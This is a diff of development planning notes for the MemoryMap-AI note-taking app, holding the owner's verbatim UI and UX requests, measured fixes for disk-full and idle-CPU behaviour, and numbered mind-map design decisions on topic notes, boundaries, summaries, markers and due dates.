-    moves, and the element is read back once a frame later and nudged only if
-    it is still elsewhere (with a `Tour:` log line when it is). Headless
-    walks of all 15 steps at 1.25x scale, with and without real scrollbars,
-    were correct before and after, so the owner's run is the test.
-
-393. **The owner, 2026-09-23, verbatim:** "research more ui and ux
-    improvements, remove any trace of vibe coded stuff in elements, designs,
-    aesthetics styles, form, function, layout, structure. vendor and use skills
-    to help with ui and ux design. find bugs in usability. improve and expand
-    learnability and information architecture. further modernise and
-    professionalise the app. I lose trust in and refuse to use applications
-    with poor ui design and ui/ux issues as they make me feel like the app is
-    unreliable ... there needs to be more integration between all the main
-    features. and there needs to be more optimisiation." Placed: the identity
-    half is a decision in UI_MODERNISATION_PLAN ("The default look is Quiet
-    utilitarian"), built by a theme agent with the vendored design skills and
-    unslop-ui. Recommendation for the integration half, taken: one "act on
-    this" vocabulary for every object (note, document, board, map, file,
-    reminder): Open, Ask about it, Add to a map, Show in graph, Remind me,
-    Link to, reached the same way from its card menu, the command palette and
-    a right-click, audited surface by surface against a table in
-    WORLD_CLASS_PLAN's consistency contract, with a lint that every object
-    menu carries the shared rows.

-391. **The owner, 2026-09-23, with the Gemini/Antigravity pass on
-    `fix/gemini-fixes-5` (1e63d87, 2c3e16e): "fix and refine the changes
-    attempted by gemini ... fix the ui, fix the ux, fix bugs, revert and refine
-    risky or bad changes, implement the attempted fixes and improvements but
-    better."** Reports in the same drop, and where each stands on this branch:
-    packaged-exe splash (fixed: bootloader Splash); installer optional packages
-    (fixed: `--install-extras`, frozen `--target` folder); `ModuleNotFoundError`
-    traceback and no nomic-embed-text suggestion (fixed); Notes dock and
-    dashboard tiles wrapping at 100% (fixed, measured at 1184); edit scrolls to
-    top and blank Notes page on first edit (fixed: `applyDocGutter` lazy entry
-    point); 29/30/31 notes (fixed: drafts out of every count); no select all
-    (fixed, one toggle per bar); table cells in live view (fixed, focus kept);
-    whiteboard undo for formatting and map styles (fixed); mind maps missing from
-    Find anything, weekly digest filler and "tonight", per-feature model
-    picker, agent activity panel alignment, image filter sketches/uploads,
-    notification when a closed panel's answer finishes (agents running).
-    Decisions, taken 2026-09-23 with the owner: **no fine-tuned bundled model**
-    (the owner agreed: a stock small instruct model plus this app's prompts is
-    cheaper to keep current; revisit only with an eval set that shows a gap).
-    **Laya** (Convai's open-weight decision model, the open alternative to
-    Jev: ModernBERT-large, 421M params, Apache 2.0 so AGPL-compatible, typed
-    choice/score/boolean outputs with probabilities) **is not adopted now**,
-    for three measured reasons from the published benchmarks: zero-shot it
-    scores below a plain baseline (0.362 vs 0.461) and only wins after
-    per-domain fine-tuning, which this app cannot do for each person's own
-    categories; it degrades past about 20 labels (0.425 on Banking77's 77),
-    and notebooks grow past that; its context is 512 tokens, shorter than many
-    notes. Filing stays on embeddings plus the chat model. Where it could earn
-    a place later: small fixed-choice decisions (intent routing in chat, "is
-    this a reminder") as an optional extra on the same torch install as
-    search by meaning, gated on an eval set showing it beats the current
-    prompt on those questions.
-
-392. **The owner, 2026-09-23, verbatim, for after 391:** "poke holes in the
-    application as in find bugs, security flaws places where there is
-    unintuitive design, poor information architecture, poor design, poor ui and
-    ux, poor learnability/usability/heirarchy/spacing and more. hit the open
-    items and plans in open.md. finish all unfinished work. majorly optimise at
-    the level of professional applications. make everything feel like it is a
-    professional application and not just a demo. maximise use of affordances
-    and semiotics. look at websites like motion.dev for ui and component
-    refinement, bklit.ui, kokonut ui etc so make sure none of the ui elements are
-    unprofessionally designed or act in a wierd way. I have found the mind map
-    is very unintuitive to use, really slow to pan and move around, the controls
-    and tools are annoying to find and use, the connections in the bottom bar
-    are different from the ones the mind map nodes use and it just needs a
-    whole professional refinement. same with the code mirror live view in the
-    documents editor, the live view needs a lot better md rendering and it is
-    hard to edit things like tables and other elements and it could look a lot
-    nicer rendered, and usability ux could be improved. also the code document
-    types dont act like a code editor with errors, suggestions and that needs to
-    be imporved. indenting and dedenting across the app also doesnt come in the
-    form it should." Placement: the mind map half joins MINDMAP_PLAN row
-    13a-view (INBOX 312's pan cost) plus a connector-parity row (the bottom
-    bar's link tools must draw what map edges draw); live view and code
-    diagnostics join DOCUMENTS_PLAN; indent/dedent (Tab/Shift+Tab on list
-    items and selections in every text surface) is a WORLD_CLASS_PLAN
-    consistency rule with a lint. Added the same hour, verbatim: "also for
-    after, the mobile view is still bery broken, takes up a lot of the screen
-    and the design needs a lot of improvement." Placement: UI_MODERNISATION_PLAN
-    phone phases; measure chrome height against content at 390x844 first.
-    That half is built (2026-09-23): UI_MODERNISATION_PLAN Phase 11 item 12,
-    gated by `scratchpad/ui-sweeps/phonechrome.js` at 390, 768 and 1024.
-    Later the same day, verbatim: "make sure the whole of the app ui is
-    repsponsive, not just for mobile but any ui resolution. though mobile-first
-    design is I'm told a good practice" and "when I say mobile and responsive
-    design, I mean actually intentionally deisgning for those resolutions, and
-    not just adapting to them. like actually making the features be intended
-    and designed for those resolutions" (phone agent briefed: a phone intent
-    per surface, tablet widths swept too), with slides asking the software to
-    reduce CPU, RAM, network and storage (standing: measure before claiming,
-    as the pan trace did). Also reported and fixed on the branch: the mind map
-    label drag drifting and starting a selection box; the chat header naming
-    llama3.2 while another model answered; no prompt when search by meaning
-    failed; a picture captioned and read several times over.
-
-213. **Mid-work drop, 2026-09-14 morning, verbatim (the owner), the last
-    scan.** "finish all the agents, scan for bugs and high complexity one
-    last time, and let me know when the pr is ready to merge / make sure to
-    merge all of the agent branches into this one as the agents finish."
-    And: "once absolutely everything is done and the roadmap documents are
-    cleaned etc, all the agent branches are merged into this one etc, merge
-    this pr for me." And (228, the same order, folded in): "after you have
-    finished all these, done the final bug sweep, make sure everything is
-    finished for the pr, and finish the pr, merging it into main." Owner:
-    orchestrator; the merge is the last act.

-    than a reading:
-    - **Routes with no caller** (`scratchpad/probe_dead_routes.py`): 320
-      served, 9 unnamed by the frontend, every one triaged in 261. Two were
-      real and are fixed: `/resurface/near/{entry_id}` was unreachable *and*
-      crashed on its first call, and `GET /events` is a built feed with no
-      strip to read it (WORLD_CLASS_PLAN B1, still open).
-    - **Calls with no route** (`scratchpad/probe_missing_routes.py`, new,
-      the mirror and the worse failure): 297 distinct paths called, **0 with
-      no route**, both undecidable paths resolved by hand.
-    - **Frontend declarations nothing references**: 3,222 top-level names,
-      **0** referenced only by their own declaration. No dead weight left in
-      `frontend/*.js`.
-    - **Complexity, backend**, by branch count over 1,827 functions. The top
-      five, for whoever takes this on: `_run_one_step` (skill_runner.py:784,
-      50 branches / 419 lines), `analyse_attachment` (routes_files.py:381,
-      43 / 167), `search` (search/engine.py:645, 41 / 139),
-      `_optimization_pass` (autonomous.py:268, 40 / 250), `_run_skill`
-      (skill_runner.py:1206, 36 / 300). Not refactored here on purpose: this
-      PR is about to merge and restructuring a 419-line agent step is not a
-      thing to do on the way out of one.
-    A fifth pass, silent exception handlers, was run and is not reported as
-    a finding: 251 handlers return a fallback without logging, and in an app
-    whose whole design is "degrade to offline" that is the intended shape,
-    not a smell. The heuristic could not separate the two, so it is written

-    make sure that our choices are the best they can be. like why is storing
-    in an sqlite database the best way to store notes etc. are things running
-    when they arent necessary and taking up extra compute?? things like
-    containers are spun up as needed like serverless cloud architecture"
-    Open. Seven asks, and most are analysis rather than a fix: (1) the
-    usability and IA gaps that cost trust, (2) a `.tar.gz` for Linux, (3) an
-    `.msi` for Windows, (4) version, platform and architecture in every
-    installer's name, (5) lightweight, (6) what the app does when the disk
-    fills, (7) an architecture review with SQLite and idle compute named
-    specifically.
-    **(6) done 2026-09-21**, measured on a real full filesystem: an 80 MB
-    tmpfs mounted as the data dir and filled to 100%, the app driven against
-    it. Already right: saving answered 507 with a sentence about disk space,
-    and reading, searching and exporting kept working throughout. Three
-    things were not. **Unlocking answered 507**, so a full disk locked the
-    person out of their own notebook entirely, over the audit row written
-    beside it. **A failed backup left a zero-byte file named like a backup**,
-    which listed as one, passed `PRAGMA integrity_check` (an empty file is a
-    valid empty database) and would have replaced the whole notebook with
-    nothing if restored: a full disk turning into total loss through the
-    app's own restore button. **A failed upload or export left its
-    half-written file behind**, orphaned, holding the space the person was
-    short of. All three fixed, plus one ASGI `SpaceGuard` that refuses a
-    write bigger than the room left before a byte of it is read, so the app
-    can no longer fill the last megabyte and lock itself out. After, on the
-    same full tmpfs: unlock 200, reads 200, save 507 naming the folder and
-    `0 bytes free`, a 1 MB upload refused up front asking for 3.0 MB, backup
-    507 with nothing left behind, every write working again the moment space
-    was freed. The 507's sentence now reaches every toast in the app and
-    Settings, Data carries a `.notice notice-warn` line when space is low
-    (`scratchpad/ui-sweeps/diskspace.js`, PASS in both themes).
-    **(7) done 2026-09-21**, both halves. *Idle compute*: with no browser
-    attached the server is asleep, 0.04s of CPU across 23 threads in 30
-    seconds (0.13% of one core), because every background piece blocks
-    rather than polls. The cost is the open tab: two HH:MM clocks ticking
-    once a second and a model-status poll asking twice a minute for ever.
-    The clocks are scheduled on the wall-clock minute now and the poll
-    doubles to a two-minute ceiling while the answer does not change,
-    dropping back to 30s on any change, on returning to the tab, on opening
-    Settings or on starting a job. Measured with `idle.js` (which now counts
-    timer *fires*, not only live intervals) and the new `idlecpu.js`: **timer
-    wakes in an idle visible minute 124 to 5, requests 4 to 2, idle CPU
-    6.01%/6.11% of one core to 5.50%/5.59%.** Found, not fixed, and a
-    decision for the owner rather than an agent: nearly all of what is left
-    is the Dashboard's emblem animating at 24fps because it was asked to,
-    which the same probe prices at 5.55% on the Dashboard against 2.09%
-    parked on Notes. *SQLite*: the answer is written down as a decision in
-    `docs/ARCHITECTURE.md` ("Why SQLite holds the notes"), with its reasons,
-    its numbers and where it would stop being right, so it does not have to
-    be argued a fourth time. No migration started, and the serverless
-    question is answered in a paragraph there rather than left hanging.
-    **(1) done 2026-09-23**, the usability and IA read against the owner's
-    "3 clicks to anything" (INBOX 270): 22 primary tasks driven from a fresh
-    dashboard by `scratchpad/ui-sweeps/clicks.js`, 21 within three clicks and
-    restoring from the bin at four on purpose (the table is in
-    `agent-remaining/guideia.md`). Four trust breakers it found, all fixed:
-    both dashboard "Ask" doors opened a disabled Chat box when no model was
-    running (now Notes, Ask, which answers without one); the Chat tab never
-    said why its box was grey (now the same Connect-a-model line as Ask, the
-    agent and the writing desk); a new notebook's Library said "Nothing of
-    this kind yet" because the activity log counted as things made (now a
-    sentence and a Create button); Create offered no board and no upload
-    (now seven rows).
-    Checked, not built here (packaging is another agent's): (2) the
-    `.tar.gz` ships (`release.yml`, `MemoryMap-AI-<v>-linux-x86_64.tar.gz`);
-    (3) the `.msi` steps exist but are `if: false`, so no MSI ships; (4)
-    every installer name carries version, platform and arch
-    (`installer.iss`: `MemoryMap-AI-Setup-<v>-windows-x86_64`). Still open on
-    this entry: (3) and (5).
-    **Checked 2026-09-23.** (2) built: `release.yml` ships
-    `MemoryMap-AI-<version>-linux-x86_64.tar.gz` beside the zip. (3) built and
-    then switched off (`b7b15c7`, WiX v7's fee terms; see 271, resolved). (4)
-    built: every artifact name carries version, platform and architecture
-    (`MemoryMap-AI-Setup-<version>-windows-x86_64` in `installer.iss`, the
-    MSI and both Linux archives in `release.yml`). Left: (1), the usability
-    and information-architecture read, and (5), lightweight, whose decided
-    shape is lazy imports (268).
-    **(5) measured 2026-09-23**, and the lazy-import work is already done
-    where it pays. `python -X importtime` over `create_app()`
-    (`scratchpad/oi_importtime.py` reads the output): the process imports
-    fastapi (402ms), SQLAlchemy (172ms), alembic (129ms) and requests (49ms)
-    and nothing heavier; numpy, torch, Pillow, pypdf and python-docx are not
-    in `sys.modules` after `create_app`, and peak RSS is 104MB. What makes a
-    running server large is the built-in embedding model: 774MB resident on
-    a notebook with notes, once `start_warmup` has loaded
-    sentence-transformers, and it already waits for the first page, for an
-    idle moment and for the notebook to have a note at all. The one lever
-    left is which backend embeds, a Settings choice that exists: Ollama's
-    `nomic-embed-text` keeps the model out of this process, and the search
-    engine's '?' on Settings, Models now says so with the number. So (5) is
-    answered; (1) is the one part of this entry left.

-    that's offline only anymore...". The local half is a recommendation, not
-    a decision, and is in the ANALYSIS.md section named above. The streaming
-    half is his: today `routes_settings.py:220` calls web search "The ONE
-    feature that goes online, off unless the user opts in",
-    `routes_websearch.py:31` says the same in its 403, and
-    `dashboard.js:1277` says it to the person, so a Spotify or YouTube Music

+   `wbMapBySiblingOrder` and the server's `_sibling_key` are one order), and
+   drawn as quiet text before the label, never inside it, so a rename never
+   edits a number. No trailing dot: `- 2. Write` is an ordered list inside a
+   bullet to every Markdown reader. Markdown writes the number after a
+   task's box and reads it back only when every topic's number is its own
+   place, all or nothing, so "2024 plan" stays a name; OPML carries
+   `_number`. FreeMind does not carry it (the setting is a view; its private
+   attributes are the topics' own).
+18. **A note behind a topic is plain text, a topic's own, and opens in the
+   help popover's shell** (taken 2026-10-04, §12.2 item 5's first half).
+   `data.note`, up to 10,000 characters, content like `task` (no theme sets
+   it, no reset clears it, a copy keeps it). A topic that has one wears a
+   note mark (`.wb-map-note`, the link marker's recipe in the label's ink);
+   the mark, or the topic menu's "Add a note…" / "Open the note…", opens
+   `.help-popover.wb-map-note-peek` anchored to it: one text box, saved when
+   it closes (Escape, a press elsewhere, Ctrl+Enter), an emptied note is no
+   note, one undo step. Not a new surface and nothing new on the strip, the
+   ring or the dock (decision 5, §12.5). Not on a note node: it already has
+   the notebook's note behind it, and showing that note's text here,
+   editable both ways, is item 5's second half, still open. Markdown writes
+   the note as an indented paragraph under its bullet (a reader draws a
+   paragraph inside the item; a line that would read as a bullet or a
+   heading is escaped with a backslash), and the import reads any text
+   indented under a bullet as that topic's note, which is also what a
+   paragraph under a hand-written bullet means. OPML carries `_note`, the
+   spelling OmniOutliner and Workflowy write; FreeMind a private `_note`,
+   because its own `<richcontent TYPE="NOTE">` is HTML this file does not
+   read.
+19. **A boundary is a branch's, drawn round the topics it holds** (taken
+   2026-10-04, §12.2 item 1, under standing order 3; XMind's shape).
+   `data.boundary` on the topic whose branch it encloses (`rounded`, `dashed`
+   or `cloud`) and `data.boundary_label` (up to 80 characters). Drawn by the
+   map's own render pass as one SVG shape under the lines
+   (`.wb-map-boundaries`): the box of that topic and of every topic under it
+   that is showing, padded by 12, so it grows, folds and moves with them,
+   redrawn on every drag frame. Its colour is the branch's (a tint inside, the
+   colour on the edge), so the branch colour well is its colour control and
+   there is no second one. The label sits above its top edge in the line
+   label's recipe. Made, restyled, labelled and removed from the topic menu's
+   Branch group. A lasso'd set that is not one branch is not in this decision
+   (a run of siblings is what a summary is for). Content, not a look: no theme
+   sets it and Reset branch styling keeps it. The image exports draw it as
+   drawn; OPML and FreeMind carry `_boundary` and `_boundary_label`; Markdown
+   does not (a list has no word for a region).
+20. **A summary is words beside a run of siblings, not a topic** (taken
+   2026-10-04, §12.2 item 2). `data.summary` (up to 80 characters) and
+   `data.summary_span` (1 to 100) on the first topic of the run: the run is
+   that topic and the siblings after it in sibling order, `summary_span` in
+   all, clipped to the siblings there are, so it survives a reorder and an
+   export by place rather than by id. A brace on the run's outer side (away
+   from the parent, found from where the run lies, so every layout gets one)
+   spans the run's showing branches, and the words sit beyond its tip in the
+   line label's recipe one size up. Not a topic: a topic outside the tree is a
+   root to every walk of the tree (Tidy, the exports, numbering, the outline)
+   and none of the formats this map writes has a word for one. Made from the
+   topic menu (one topic) or from the menu of a multi-selection of siblings
+   (the run from the first of them to the last); changed and removed from the
+   first topic's menu. A root takes none. Content, exported as boundaries are
+   (`_summary`, `_summary_span`).
+21. **A map presents by branch** (taken 2026-10-05, §12.2 item 9, under
+   standing order 3; MindMeister's shape on the board's machinery,
+   WHITEBOARD_PLAN decision 16). View, Present branches: the board's full
+   screen, bar, keys and Escape, with the steps a map has instead of frames:
+   the whole map first, then each trunk's branches in sibling order, each
+   fitted with what of it is showing (a folded branch is its topic); a trunk
+   with nothing under it is a step of its own when the map has more than
+   one. One level deep: a branch's own branches are not steps, which keeps a
+   two-hundred-topic map a talk of a dozen steps. No key edits the map while
+   it runs.
+22. **A FreeMind file's single root node is the central topic** (taken
+   2026-10-05, audit FEAT-01, features.md 9.5: the owner's newer words win).
+   This reverses the older code decision pinned by
+   `test_freemind_imports_with_its_root_as_the_maps_name`, which read the
+   root as the map's name and dropped it, so every `.mm` from Freeplane or
+   XMind arrived as loose trunks and a map made here lost its centre on the
+   way back. The map is named after the root unless `<map _title>` names it;
+   the trunk the export invents over a multi-root map carries `_wrapper` and
+   is taken off again. OPML, FreeMind and Markdown each round-trip a
+   101-topic map made here, every topic, edge, the centre and the name
+   (`test_a_101_topic_map_made_here_round_trips_losslessly`).
+23. **A map made from text starts in tree-right and is tidied once as it
+   opens** (taken 2026-10-05, audit FEAT-05). The import and the accepted AI
+   proposal took the board default, Free, while every other map door starts
+   in tree-right (`DEFAULT_MAP_LAYOUT`); `wbMapTidyFresh` lays it out once,
+   with no undo entry, when the import or proposal opens.
+24. **A new topic is drawn and open for typing before the server answers**
+   (taken 2026-10-05, audit FEAT-02). Tab and Enter make a provisional row
+   (negative id), lay the branch out by the tidy's positions applied as
+   transforms, render once, open the editor, and adopt the server's id in
+   the background (`wbMapAdoptProvisional`): the row, its element, the
+   selection and both Undo stacks take the real id; a save that reaches the
+   row first waits for it (`wbSaveObject`); a save's answer no longer takes
+   back a position or a text changed while it was out. A render repaints
+   what changed and moves what only moved (the paint key has no x or y).
+   Three stylesheet rules whose `:has()` sat before a classless compound
+   made every DOM insertion restyle the whole page; they are rewritten and
+   `tests/test_has_invalidation.py` holds the line. Second pass, the same
+   day (HISTORY, "Moved from the plans, 2026-10-05 (the add path, second
+   pass)"): the editor opens in the add's own task, before the moved
+   topics' transforms and the lines are written (`wbRenderHold`), the
+   measure reads only what was repainted, the mid-line `+` buttons and the
+   edge handles are kept rather than rebuilt, the selection bar is placed
+   two frames on, and a `:has()` keyed on `.ph` (every icon) is rewritten
+   with a ratchet against its kind. The render of one add is 21 to 63ms at
+   301 topics against 118 to 421 before; the 100ms key-to-editable gate is
+   still not met on this sandbox under a load of 7 to 10 (medians 177 to
+   276ms against 265 to 351 for the base scripts on the same runs), and is
+   to be measured on a quiet machine.
+25. **The open map's commands are palette rows** (taken 2026-10-05, audit
+   FEAT-11): add, rename, fold, focus, delete, tidy, open every branch,
+   look, numbering, statistics, present, zoom to fit, the six layouts and
+   the three text exports, in groups "This topic", "This map", "Map
+   layout" and "Export the map", only while a map is on screen. The
+   board's own commands are the board's (WHITEBOARD_PLAN, section 8's one
+   command table).
+26. **A new topic and its first name are one Undo step** (taken 2026-10-05,
+   audit FEAT-15), as in XMind: the rename is folded while the add is still
+   the last step.
+27. **A committed name hands the keys back to the canvas and is said aloud**
+   (taken 2026-10-05, audit FEAT-16), unless the press that ended it went to
+   another field.
+28. **No front-and-back Order on a laid-out map** (taken 2026-10-05, audit
+   FEAT-17): a tidied tree never overlaps; a Free map keeps the group.
+29. **Text pasted onto a map is a branch** (taken 2026-10-05, audit FEAT-09):
+   one topic per line, nested by indentation, a numbered or heading line
+   read as a topic, under the selected topic (or as trunks), made by
+   `POST /boards/{id}/nodes/outline` in one transaction and recorded as one
+   Undo step. Ctrl+V on a map with nothing copied on the board lets the
+   browser's paste through to it; an in-app copy still pastes as before.
+30. **The dashboard draws a map at its own shape** (taken 2026-10-05, INBOX
+   553(d), the owner's decision): the Boards & maps widget's busiest board
+   at the widget's width and its natural height, at least 96px, at most
+   168px for six topics or fewer and 320px otherwise, then fitted whole;
+   the rest as rows. DESIGN.md's recipe row names the numbers.
+31. **A map writes itself as a document, one way first** (taken 2026-10-05,
+   the audit's brief M5, first half): the board menu's Write as a document
+   and the palette row make a new document titled after the central topic
+   (or the map, with several trunks), branches as `##`, theirs as `###`,
+   deeper topics as nested lists, notes as paragraphs, and the map's card
+   (`boardEmbedMarkdown`) at its head as the way back. The other direction
+   is decision 35.
+32. **A concept map's topics are notes that stay on their map** (taken
+   2026-10-05, audit UX-06). A note made by a map gesture (a new concept
+   map's root, a card Tab or Enter adds) carries `map_topic`; Notes (All,
+   the categories, Favourites, Untagged) and Recently added leave it out,
+   and a search in Notes, Ctrl+K and Ask still find it. Old maps' topics
+   are marked by the upgrade (a short note placed on a board within ten
+   seconds of being written). The board picker counts a map's topics and a
+   board's items (not the links between them) and is kept current from the
+   board on screen; the Library and dashboard say "links" and "drawings",
+   never "sketches". After Enter names a card, a letter renames it (the
+   focus is not moved to the canvas, where Tab walks items).
+33. **A map's outline is a panel of fields in the tree's order** (taken
+   2026-10-05, §12.2 item 8, the audit's M3). View, Outline (and the
+   palette's row) opens it in the board sidebar's place (`#wb-map-outline`,
+   the `.whiteboard-sidebar` shell, one of the two at a time), on maps only,
+   remembered per device. One text field per topic, indented by depth; the
+   keys are an outliner's: Enter adds a topic after this one and types it in
+   the outline (not on the canvas), Tab makes it the last child of the topic
+   above, Shift+Tab puts it right after its old parent, Backspace on an
+   empty topic with no branch removes it, the arrows walk the rows, Escape
+   hands the keys to the canvas. Every change goes through the canvas's own
+   functions (the add, `wbMapTransplant`, `wbMapOutdent`, the rename's save
+   and its FEAT-15 fold), so Undo and the tidy are the canvas's. Typing
+   draws the label on the canvas as it goes, without a render; the name is
+   saved when the row is left. The outline follows every render, rebuilt only
+   when the tree's shape changed, never taking the field being typed in.
+34. **A topic's markers are content, from one icon set** (taken 2026-10-05,
+   §12.2 item 4, the audit's M4). `data.priority` (1 to 5), `data.progress`
+   (0 to 100; the menu offers None, 0, 25, 50, 75 and Done), `data.flag` and
+   `data.markers` (up to six names from `WB_MAP_MARKER_ICONS`, twelve glyphs
+   of the vendored Phosphor font; never emoji, which each system draws its
+   own way and an export does not draw at all). Drawn in one row before the
+   label, set in one popover from the topic's menu (Content, Markers) and
+   the palette, each press one Undo step. Content, not a look: a look reset
+   and a branch copy keep them; OPML and FreeMind carry them as private
+   `_priority`, `_progress`, `_flag` and `_markers` (a comma list), Markdown
+   not at all (decision 12's rule). View, Filter by marker lists the markers
+   in use with their counts and dims (never hides) every topic without the
+   chosen one, for this visit, with a bar in the focus bar's shell to end
+   it. Not built: due dates, tags, several filters at once, markers as the
+   outline's columns.
+35. **A document maps its own headings, one way** (taken 2026-10-05, the
+   audit's M5 second half). The document's menu, Map the headings (and the
+   palette's row) makes a new map through the Markdown import, so it opens
+   in tree-right and tidied (decision 23). The headings are read by
+   `wbMapHeadingsOutline` (node-tested): a heading inside a fenced code
+   block is code; one top-level heading, first, is the central topic,
+   otherwise the document's title is and every top-level heading a branch;
+   a skipped level hangs one level down, never two. The way back is a
+   document topic under the centre pointing at the document (it opens it, as
+   any document topic does), so it travels with the map into every export
+   that keeps references. A twin kept in step both ways is the audit's idea,
+   not built.
+36. **Studying a map is presenting with each branch hidden until recalled**
+   (taken 2026-10-05, §12.3 item 5, under standing order 3; op5). The board
+   menu's Study the map (maps only; the View menu is at its 450px ceiling)
+   and the palette's row start the presenting shell (decision 21's bar,
+   keys and Escape). The questions are the trunks' branches that have
+   topics under them, in Present branches' order; everything under each is
+   hidden as a view, like focus (`wbMapConcealed`), never folded or
+   written. Show (or Enter) draws the answer; Knew it or Not yet marks it
+   and moves on; the end says how many were recalled. The marks are kept
+   per map on this device (`wbStudy:<id>` in local storage: a study record
+   is the person's, not the map's), and a branch missed last time says so
+   in its step. Not built: a note behind the topic as the answer (the
+   plan's "the note's own text"), a spaced order.
+37. **A topic's due date is a day, a marker, and a reminder only when asked**
+   (taken 2026-10-05, §12.2 item 4, under standing order 3; op5).
+   `data.due` is a calendar day (`YYYY-MM-DD`, no time: a topic is due on a
+   day wherever the map is opened), content like decision 34's markers (a
+   look reset keeps it; OPML and FreeMind carry `_due`; Markdown does not).
+   Set in the Markers popover's Due row (the browser's date field, Clear),
+   drawn in the marker row as words ("14 Mar") in the ink, a day gone in the
+   error ink and read "was due"; View, Filter by marker lists "With a due
+   date". Remind me makes an ordinary reminder at 9:00 that day; a day gone
+   makes none and says why. No reminder is made by setting a date. Tags on a
+   topic stay open.

-- **Per-node left edge**: built. The strip's second picker writes `spine`
-  (`dashed`, `none`, absent for solid). Measured,
-  `scratchpad/ui-sweeps/mapspine.js`, 9/9 at 1440 light, 1440 dark and
-  390x844: 4px solid to 4px dashed to a 1px hairline at the same 55% alpha
-  the other three sides carry, the label moving 3px with it; the choice beats
-  a core node's 6px bar (6px to 1px) and the node stays core; a plain topic,
-  whose box is transparent on purpose, is untouched (4px, label at the same
-  x); downward the choice is on the top edge instead. A server restart was
-  needed for the round trip to pass: the field is dropped by a stale process,
-  which is the `WhiteboardObjectData` trap wearing its other hat.
-- **Connection line styles**: built. `edge_width` (`thin`, `thick`) and
-  `edge_arrow` (`on`, `off`) join `edge_dashed` on the child, and all three
-  are in the strip's line group, which a trunk is not shown. Measured,
-  `scratchpad/ui-sweeps/mapline.js`, 13/13 at 1440 light, 1440 dark and
-  390x844: the ribbon goes 6.5 units at the parent to 11 thick and 3.6 thin
-  while its sibling stays 6.5, the stroked shapes 3px to 5.1px, a head added
-  to a ribbon takes its path from 50 to 53 points and its far end from 3.4 to
-  11.5 units, a head comes off a stroked line as `marker-end: none`, and all
-  three survive the round trip. The line group measures 0px on a trunk and
-  1/117/28/28px on a child. The strip is now 853px inside a 1408px canvas at
-  1440 and wraps to 348x150 inside 364px at 390.
-- **Resize a topic**: built, commit `3c9b874`. Measured,
-  `scratchpad/ui-sweeps/mapresize.js`: 170x44 dragged to 290x100, stored as
-  `width` 290 / `height` 100 / `sized` true, still 290x100 after a tidy.

+     Placed: ~~(a) palette notes (verify: notes should appear; if not, bug)
+     and (b) mind map node fill, canvas and export background colour: one
+     Sonnet agent~~ **done 2026-09-27**: both already existed and worked
+     (verified live in Chromium against a real palette search and a real
+     mind map), no feature code changed; regression tests added
+     (`tests/test_palette_contract.py`, `tests/test_export_paint.py`).
+     Left, from the same report: (b)'s discoverability (the owner asked
+     without knowing they exist, so the controls need better labels/help,
+     placed below as its own item) and companion motion. (c) companion
+     motion first (transitions, glide, secondary motion on hair, tails and

+     test pages, per-feature toggles, cost: the two Opus agents on atlas.js
+     and avatars.js; (d) the devibecode programme, WORLD_CLASS_PLAN 22.4,
+     after.
+     Addenda the same afternoon, verbatim where quoted, all placed with the
+     two companion agents: the top-bar peek; locomotion by distance (walk,
+     hop or fly near, portal far: "It is a companion, not a fake soulless
+     construct"); a smoother bust; a slight body tilt left or right; the
+     sleepy face in both looks, "z" emotes and a night cap; close-range
+     pointer following; hover and click reactions that ease in and decay
+     ("more natural and gradual, unless it is startled"); boredom
+     wandering; lying down to sleep and masculine and feminine body
+     language; rotating per-persona thinking words beside the typing dots
+     (the Sonnet agent, lists written by the orchestrator).
+     (e) Categories: "there needs to be a better, easier and more accessible
+     and learnable way to edit categories like with merging them, splitting
+     them, moving notes between them etc. accessible from the notes tab, and
+     settings. maybe an access menu or panel cna be used from the your notes
+     subtab and/or sidebar??" Exists today: rename (onto an existing name it
+     merges) and delete, from the sidebar menu (`renameCategory`,
+     routes_categories.py PUT/DELETE). Missing: an explicit merge, a split,
+     moving notes between categories, and one place to do all of it.
+     Recommendation, taken: one "Manage categories" panel (the sheet recipe),
+     opened from the sidebar head, each category's menu and Settings; a
+     row per category with count, rename, merge into, split (pick notes or
+     let the AI propose), delete with a destination; notes dragged or
+     multi-selected across; every action undoable. Next free Opus slot.
+     The owner, straight after: "I should say manually edit. the user needs
+     to be able to easily do anything the ai can do". So the panel is part
+     of a parity rule: every write tool the agent has (WRITE_TOOLS and
+     tools/categories.py: create, rename, merge and delete category; create,
+     edit, tag, pin, link, unlink, delete and restore note; reminders; rename
+     and delete tag; documents; whiteboard cards and links; mind map nodes)
+     gets an audited, discoverable manual path, each gap fixed, and a lint
+     that fails when a new write tool has no named UI entry point.
+     **Built 2026-09-27** (e): the Manage categories panel and routes
+     (create, merge, split, proposed split, move, delete into), and the
+     parity lint, `tests/test_manual_parity.py`, naming the manual path of
+     every write tool. Left: the proposed split groups by tags; an AI
+     proposal would need the model.
+     (f) The owner, with a screenshot of the Documents AI assistant dialog:
+     "I actually reallly like the design of the document editor's ai
+     assistant popup panel. especially with the design of the close,
+     history,a nd tooltip buttons. idm the edit/write/remove pill either.
+     the suggest an edit button is fine to." Placed: DESIGN.md's recipe
+     index now names it the reference dialog head; every modal and popup
+     head is brought to it, with a ratchet lint (the Sonnet agent, after
+     the thinking words).
+     (g) The owner: "remake and retake the screenshots for the readme file,
+     update the atlas section with a short intro, title, headline and short
+     description and accompanying image with an expression or mood. take the
+     screenshots in dark mode but maybe have a dark/light comparison image.
+     make the graph really visually pleasing and impressive with a mix of
+     connected and non connected, some clusters some webs, some connections
+     ahve reasons and others dont etc. make sure all main features are
+     properly shown. and polish and update the rest of the the readme as
+     well." Placed: after the Atlas and companion passes land (so the shots
+     show the finished art), the first agent to free takes it: a seeded
+     showcase data dir (clusters, webs, loose notes, reasoned and plain
+     links), dark shots of every main feature, one dark/light split, the
+     Atlas section rewritten, README polished; test_readme_freshness green.
+     **Addendum, the owner, 2026-09-28 (Windows, granite4.1:3b), verbatim.**
+     "No gap below the 'use nomic-embed-text' button. Colour contrast issues
+     on the plan and web polls when active on the chat interface. Depending
+     on what the companion is perched on or anchored to at a given time it
+     might have different z-indexes so like if it is perched on like a chat
+     message bubble or a library card, when it scrolls with them it should
+     probably go behind the top bar like the thing it is perched on not in
+     front of it. If say it is stitting on or perched on an element like the
+     top bar, then it would be in front yk?? It's still really confusing to
+     use the built in embedding model because half the time I can't tell if
+     it is working or how well... also the fit drag mini fit map on the
+     whiteboard and mindmap is reallllly glitchy and laggy. The Popup agent
+     has been unable to answer multiple prompts as well and it's really
+     worrying. The whole process of filing, creating, editing, refining,
+     managing, tagging, recategorising notes and more anywhere, especially in
+     the main sections needs to be wayyy more fast, intuitive, guided,
